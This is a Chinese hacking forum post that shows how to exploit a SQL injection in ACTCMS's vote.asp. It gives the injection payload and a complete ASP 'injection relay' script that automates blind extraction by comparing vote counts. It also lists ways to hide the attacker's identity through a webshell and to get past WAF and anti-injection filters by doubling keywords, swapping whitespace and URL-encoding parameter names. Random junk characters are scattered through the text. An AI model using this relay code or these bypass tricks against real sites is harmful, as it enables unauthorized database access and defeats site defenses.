找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2157|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
- I- y# d! ~! h* x; b% d( H
看到ninty大牛的blog的一篇文章
5 w. H; i" ?5 J+ s) @! p7 v链接标记[url]http://www.forjj.com/?action=show&id=80[/url]2 |2 U7 X+ @0 }4 L
关于actcms漏洞的利用  by 3x qq:381862589$ S$ A' p  P1 q) W+ \; N) T( ~
转载请注明以上
4 s7 z* G  O8 z! T. A( ]! t% ?漏洞文件:
4 h2 K6 G. {" |/plus/vote/vote.asp
; H  |( I) I! I+ z代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    & \0 P8 ~9 L/ D$ m& l
& F' n, U" a( L+ q4 r5 w, a
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   2 e+ T" x3 Y# A! _. f
6 C1 a: @; g' x' z4 m' S
3    response.end   
' w8 O+ [1 w4 y2 d6 m2 Z! T6 S) e6 D- j
4    end if   
0 D6 o& e% r2 l0 ]/ c) H2 P, ]. [& o9 _. C1 i+ X, M/ M* ]) `. E
5    for i=1 to request("voted").count   
' D3 j9 Z! I6 q, F& C3 a0 [' F, |. Q$ W( @
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
0 Y0 C; I4 J0 `; F3 X" ^5 C
" i6 j- Z! b3 q8 t3 _7    next    . D2 y( f9 g0 S  b5 E7 D6 V9 H$ h' m, x
0 H# }' G* J& O0 [
8....    : H, y- T1 z4 m- a- W1 M
% B4 U$ m/ N0 L8 k; h( c9 u
9response.Redirect "index.asp?id="&id&""   
; L7 W- A! n9 g: ^4 r6 d, y投票结束回跳转回index.asp这个投票结果页面
0 L  J' A* U6 s* v如果投票成功票数加1  a" Y3 d7 b, T4 r8 K
            失败票数不变
! d, r2 Z0 h5 b# Q/ ]* p- b如图:& I$ S; w2 w/ L( h
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
3 g8 Z  K. f6 K) L( U; @. I1 D" c: J3 D* m9 |2 W, [
2009-12-27 13:204 h5 O* B# I/ g2 {* @' y

$ b5 v7 }! f2 ]! ~) }利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
  x. D% A! ]. |  K$ d2 h+ B1 I* C9 X  P  i+ a) O2 l3 g0 l# y- Z% l
本帖隐藏的内容需要回复才可以浏览/ ^$ G; L  G9 [; {. X# ?" d  A0 g7 U
我们用注入中转来实现这个注入具体代码如下:' F3 S+ Z  H. T) A% A% X! q2 S1 `
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: J8 ~  G" J8 {3 L5 W$ P6 A注入地址:http://localhost/actcms/plus/vote/vote.asp
; k4 q" G4 {- b注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项. t8 F: W8 D" u7 E, b' [- v- L+ b; W

4 w# O% r4 C4 V; R5 |然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%   Q+ p! ^0 @! P2 Q8 @

; f3 m5 `  k. H3 E- T4 l02JmdcwName=request("jmdcw") 7 o  N# E; v. l+ c2 M& G
" D) n$ x0 N: L, o4 R
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% A' C) F3 b6 F( n6 V3 |& f. X9 @# p4 g9 s" `9 `" I
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! U: B8 s  [# B. O
2 }' R+ N5 U7 Q3 n05JmStr=URLEncoding(JmStr) . p: g5 {8 [5 a4 h
/ k+ P0 P0 f% h* W
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
+ W0 C" {5 \8 r; y! g, @' e+ V( ]+ R$ Q$ [+ K) D3 n: j
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
5 A5 S" S) c+ t9 g4 v% x
6 Z/ k. v/ P( Q. t5 u( e08testurl=testurl & "?" & JmStr ( d8 _, J, ?& g/ u( b2 C

6 Q8 g3 U1 Y; a& h6 b09JMUrl=JMUrl & "?" & JmStr 5 k- @" X% {7 n4 ?! z$ a1 a; i

# i7 S" l1 h1 N10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
4 E: q8 R- x( p* q! X* t% P6 p3 b+ b/ e
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
/ e" m$ L3 K1 Q2 r% r1 p0 r  H8 ~! [8 M4 J' w; N
12JmCok=replace(JmCok,chr(32),"%20")  
) E. p/ ?0 a5 ?3 Z: K7 j) U* }) G1 O( A( l2 T/ {6 {3 i8 V
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 4 i- j6 S+ g6 Q2 B+ h" x  W
9 x0 e7 ^$ L$ l( O' I
14  8 D5 v: U( l! ^* ?3 i) k1 S

6 S% @- Z0 W( {2 D5 J+ A15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 % b7 X' E/ W4 t- \  W2 q

$ a1 [& S' m' a5 \16  & X1 w* h3 g6 O/ W# m3 y

( C9 k4 ]3 W+ S17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
3 o- s8 Y. r* q" Z1 j+ ?
, }8 k/ Z8 U: i3 }18response.write test1&""&test2&"", r  }! W' b% A5 g

& t! P. a' }; V! ?; T/ D19  
; O2 _9 ^/ _/ o$ g7 J" d1 Q
. ~) ?7 m* @' P" z$ q. S* u20if test1=test2 then '如前后记录相等,表示失败 4 m3 g; Z7 e/ @3 U4 j+ h

- f  m+ b' Y& Q! q$ x0 Q9 I: A3 H( C21  response.write "failed"
5 `% n9 R5 P( q# S
4 Q9 M: x" H3 _8 g$ n5 m8 [# i1 i22else
' d/ |4 J0 P& x% N5 R8 j# f5 O: {  ]& b
23  response.write "succeed") C' w0 Q7 I1 F. ~8 q2 F
, z& ~) m4 F6 x/ D6 V& R
24end if  
6 t: b( ]3 f1 f$ K6 a( v: ^9 Y- t0 O: d
25  2 E" [$ u8 [: G5 Y& g

0 u2 A; b) q. W/ a! Q9 A: E6 ~26response.write "by 3x") b; e! o2 A0 |" `
3 {7 i$ T. C! L6 Z1 D
27  
$ k5 T9 w# p# Q, s, u/ C! K  f* n
. P, L3 k" X/ r5 A2 q+ ]28  
1 l: G& B/ z2 _9 P: }
2 t; r7 N6 N+ I7 g% }: W7 |29Function PostData(PostUrl,PostStr,PostCok,PostRef)   - A+ S# E! t( {% L0 J

3 z# r- V/ s; I- ?% v% p30Dim Http - f1 F$ H3 J5 _' D& k

. K2 w. }- s" N( R2 i7 g) q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
0 [3 c% T, C. F9 U9 h' r2 D. \/ U- c8 q/ R. y7 r
32With Http
8 S2 u6 F* N- G. n* i
$ c$ p, o3 r- Y' x8 Y: C33  
: R0 i& W* z% y) p6 X  d) _
. v+ l! F8 f2 [( K. |34.Open "GET",PostUrl,False* _/ V% \* s7 R# u9 D
/ l5 O4 F+ V' n  P. s; o* K
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"& ]; }( p! T( x

* f! N- G% n) x& I36.SetRequestHeader "Referer",PostRef
. z2 R- t7 t% i$ a7 E
0 P7 @) ^0 a& z9 U4 t" n37.SetRequestHeader "Cookie",PostCok ' U0 {& j- i0 }3 K( ?9 \9 o0 f. O
. d- B& _1 q( k; V
38.Send () ( A; M: h4 C' ]

6 x9 H( c# r5 m2 n, P/ w, |39PostData = .ResponseBody
) m5 n, A/ M* `0 U7 ~$ L0 V$ ]# p+ o
40End With
' o3 |& ]& j3 U$ X* k2 N; x6 ]; }! O& P% P/ H1 \0 `! J
41Set Http = Nothing1 R; {$ _* g% I3 q& C

2 s5 W8 ^/ f! I; L2 T' Z42PostData =bytes2BSTR(PostData) ( z2 p$ u& Y3 \4 }4 G

1 ?3 O" K6 i' k* v, n" x' x43End Function% a6 L3 l1 s/ U% h7 d& Z2 g1 Y
) S6 h% [8 H/ s1 k) K+ c: k! u
44  8 T: K8 ]. p$ F' e) O* h) S

9 |- p; l1 O' a* U$ M% g, T% U/ i" |* H45  
" V( e) n. S$ V1 q; \: [1 n, ~0 p& V  N4 I9 H% O" G
46Function bytes2BSTR(vIn)
$ _7 j0 O+ e5 j" G* m9 F" P
" r/ U% @& U! u0 V& y" ?2 U3 {# H47Dim strReturn
& B& v! U2 L2 {* E* i' S" r; b  F) L" Q1 B' R
48Dim I, ThisCharCode, NextCharCode
+ Z3 f# D( T% c) V% }6 A6 M& i0 _3 H7 {$ q! @
49strReturn = ""
: p. c9 Q( x" e# n6 y, L3 g5 n" J8 {) c' b
50For I = 1 To LenB(vIn)
; A9 K1 G! C" t, v- Z+ q! ~# L9 j2 y0 C6 G' W
51ThisCharCode = AscB(MidB(vIn, I, 1)) ! Q5 {$ f2 N6 ?0 a5 h6 \
8 N1 t4 y* A8 V9 E6 Z) r/ B. ]$ F
52If ThisCharCode < &H80 Then
8 n! V( C4 w9 P) i
" x# A, s; B: t4 \7 r53strReturn = strReturn & Chr(ThisCharCode)
3 n4 x9 i/ o- E) B, n# v
5 e" H; w  [& Q5 M- R6 u54Else
$ q" D9 d4 u+ }8 Q- m
& z4 b" a, I9 y: O2 w" g2 F55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 c3 {; {' h4 _2 N. c$ B" p
$ l. }3 O7 A3 R4 w# O56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 0 z8 }8 n. r6 e# T/ m
6 L0 i3 N1 @* @0 A% E
57I = I + 1 8 N) P9 F) q5 d! p6 r

" Y# H( M# B0 z* |3 L58End If7 D) K: C1 H2 |$ t
! M1 I+ R% x+ |. v( K& `2 t* V  G+ q
59Next
; A- n. X, G4 Y
5 `+ t4 |) u* K* T60bytes2BSTR = strReturn 6 Y+ l7 [: d  ~; O! R( `  L( H" l6 n! s
: U6 ~; ^, r& X3 l+ g5 B
61End Function
8 A6 y# F9 r$ U" t7 z% Z9 A+ A  u) u& f: r: K, i$ f+ Y
62    n0 O5 q; m; A! Z( V  u
. l  o2 {2 P) N& T( O; ]8 p, D
63Function URLEncoding(vstrin)  
% O% Y3 R: a. k" X2 e( N
9 _* Y9 ^- B$ B7 c. D64strReturn=""
8 R7 e# \) W# [8 T" o' r! `# C0 d4 u4 g, ]
65Dim i : C; R' Q2 y( X7 O- ~
5 D; \2 i, d7 K# ^. S+ e
66For i=1 To Len(vstrin)
4 P0 y" V; M# E! O) {' l" p- v; g4 b& P( a0 x
67ThisChr=Mid(vstrin,i,1)
7 G5 C. H$ |" O& o+ o: D$ l4 S. I2 O: E: C/ w
68if Abs(Asc(ThisChr))< &HFF Then) u3 K) {; [& i2 |0 _, v+ ~

5 z  b3 t7 [) B; _5 d$ V6 u; g69strReturn=strReturn & ThisChr
$ N: e: T8 X+ y. e8 _  a- @
$ n$ O  F/ i( Z* T& D; @70Else
1 R1 T/ k4 U8 [4 m. {; L  @
2 k% j* V$ K: t" @71InnerCode=Asc(ThisChr) * C, m9 \/ y2 o
- \! X% ]' @& ]8 f
72If InnerCode<0 Then. H" \5 b6 Z: G4 [+ C
: n/ d; w: `5 a8 z2 [, d* m
73InnerCode=InnerCode + &H10000 9 i2 w# o5 q  @% ~

6 B2 ~2 m  @5 m+ F5 ^! G/ X74End If. }" B9 p5 t" e
* P7 l" ~, C+ ~& b/ i/ |
75Hight1=(InnerCode And &HFF00) \&HFF - S- `7 \$ D% ?+ k
3 d: F3 i0 X! r, i. w
76Low1=InnerCode And &HFF $ Q/ g1 M; |# E( Q8 x9 s9 S
+ q  L4 U8 y! |% n5 {2 f7 l
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 ^$ I% H$ @3 {) J1 m8 ~: t' b9 f
: m5 P( Y( N0 t. {+ c1 C( Q! G
78End if
0 G- Z) b! L  _* w6 Q# x+ ]0 q+ `) ]( i; L' S; y
79Next+ K( j* h5 Z& O* Q# e3 r

& U$ s0 e  O: d# Z80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 + C* I* f, [" }8 [( |: d. y; U  A
( q0 X* i. T8 O* m
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
3 R4 e" r% P/ O* W
# c5 D( o# c3 s6 V82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
7 p7 [4 _. v- J: Z5 C0 b( ?! C* E2 Z0 ^+ P& I; l+ K
83URLEncoding=strReturn
0 a: f: X# D) H% ~4 b; i
7 _- v, C, P# }8 A! ]84End Function* _( s- y1 a& w. b3 ~: q  p
& g3 D, a/ w+ p- ], r/ O# O; _
85  ! Z1 U$ ?5 L5 C: f
1 j: D" ]: M6 n. Z! a( W) z6 D, Z
86function getSt(body)
5 c6 R2 C4 S9 w# F( `" }6 j1 B, C' C* X$ T+ @/ ]2 K! H4 N
87  startpot=instr(body,"投票人数:")+len("投票人数:")
+ i( Z$ i+ o& r# r; `8 b
2 W  [, ]2 p( S0 m5 P/ P* N) T88  endpot=instr(startpot,body," ") & B% n& X, m& n

; s0 \! r( X  v/ H6 m89  getSt=mid(body,startpot,endpot-startpot)
& O7 B; w) S- I0 S8 t- y9 v) n. K  H! T9 `8 l# i
90end function . J. u7 r8 M! F$ h

% X: P/ G' ?- b: E! B, e5 q) }91%>
. c  H4 K1 y, n5 ~0 L注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了/ S; d7 f. z( x5 M, l( E/ N: i- y
测试下效果:' c- w9 B3 ?' r" @
投票成功:
1 H" g: p: Y0 Q0 Q7 Thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
8 Y& L4 _4 ~, R; g; b! e) _+ w4 S8 V/ R, ^1 w9 C/ P
2009-12-27 13:29
- t. Z% i2 g4 R2 l投票失败% |% x9 P7 |3 E6 P$ D
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
3 F: J, Z: z' l9 J. z6 t% C( }" O# S0 _$ @9 M
2009-12-27 13:29
# R" v# l. s' E% G, p  L4 m-------------------------------------------------------------------------------: K" R. \) z$ Y* n, `
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以+ E( y! A. {2 p/ F1 U: {8 j9 s/ W" b& e
很抱歉。。。只能用单线程工具去注入。。。。。
0 Y% F0 n: y1 x) V& m& T* v所以失败。。。不好意思。。。
% b; s0 ]# ~7 i$ B2 P/ E. ?-------------------------------------------------------------------------------
5 |. W. a, @* m( {+ Q% U! H( f2 @- O, _4 ~/ r3 a, X( X- q
注入中转的一些其他应用# t$ O; X  j8 X8 R
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
$ z+ E  D7 ?* k- O1 N. v; \" _1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
! y0 z3 u# \  ~* R' H1 T2.post注入转成get型的注入,方便我们使用工具来跑
! n8 s" U3 u9 u2 j4 M. V% G; C3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")1 ?/ Y  A  Y3 o7 ]
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过% ~. G) Q" ~* X; B

4 s/ S, Z5 f9 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表